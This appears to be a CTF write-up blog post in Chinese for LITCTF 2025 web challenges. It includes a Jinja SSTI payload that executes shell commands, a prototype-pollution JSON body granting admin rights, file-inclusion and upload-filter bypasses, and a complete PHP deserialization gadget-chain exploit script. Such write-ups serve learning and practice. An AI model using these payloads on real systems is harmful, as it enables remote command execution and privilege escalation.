LITCTF 2025

easy_file

弱口令进入

文件上传,这里过滤了ph字符,但是在主页面中发现传参

file能够查看头像。我们尝试上传一个jpg

过滤了<?php

成功上传,尝试包含。

nest_js

还是弱口令

星愿信箱

是ssti,过滤了 {{}}

{%print(lipsum.__globals__.__builtins__['__import__']('os').popen('tac /flag ').read())%}

多重宇宙日记

原型链污染

随意注册一下

在这里发送json数据会进行更新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}

通过前端js源码发现,在settings下设置原型中的isAdmintrue即可

1
{"settings":{"__proto__":{"isAdmin":true}}}

发送之后,导航栏会出现一个新的选项。

得到flag。

easy_signin

进入页面是403,进行目录扫描

有一个login.php

说参数不完整.

访问login.html

这里有一个api.js

可以包含。读当前文件file:///var/www/html/api/sys/urlcode.php

有一个php文件,尝试访问

直接访问即可。

君の名は

考察点为:简单php魔术方法

匿名函数如果没有设置返回值,可以通过调用生成的函数名执行其中的代码。匿名函数名会被设置为\00lambda_%d ,其中%d是递增的,但存在最大长度,如果达到最大长度那么会刷新为1.

反射方法调用匿名函数:ReflectionFuntion::invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 <?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

首先第一个正则检测O开头,这里可以使用C绕过,其次由于此题目php版本较高,所以对属性修饰符不敏感,可以把private修改为public

那么先来分析链子。

首先当我们传入参数后会执行unserialize函数,那么会调用Taki::__unserialize,在这个函数中可以利用($this->musubi)();,将musubi设置为Mitsuha,就会调用Mitsuha::invoke,然后由于$this->memory.$this->thread;进行字符串拼接,此时让threadnew KatawareDoki() 即可调用到 KatawareDoki::__toString。然后通过此函数中不存在的函数flag 调用到 Taki::__call,new 一个ReflectionFunction函数进行调用到匿名函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class Taki
{
public $musubi;
public $magic = "invoke";

}

class Mitsuha
{
public $memory;
public $thread;

}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\00lambda_1";

}

$a = new Taki();

$a->musubi = new Mitsuha();
$a->musubi->thread = new KatawareDoki();
$a->musubi->thread->soul = $a;


$payload = new ArrayObject($a);
echo urlencode(serialize($payload));


LITCTF 2025
https://r3bir7hcx.github.io/2025/05/30/LITCTF-2025/
Author
CXCX
Posted on
May 30, 2025
Licensed under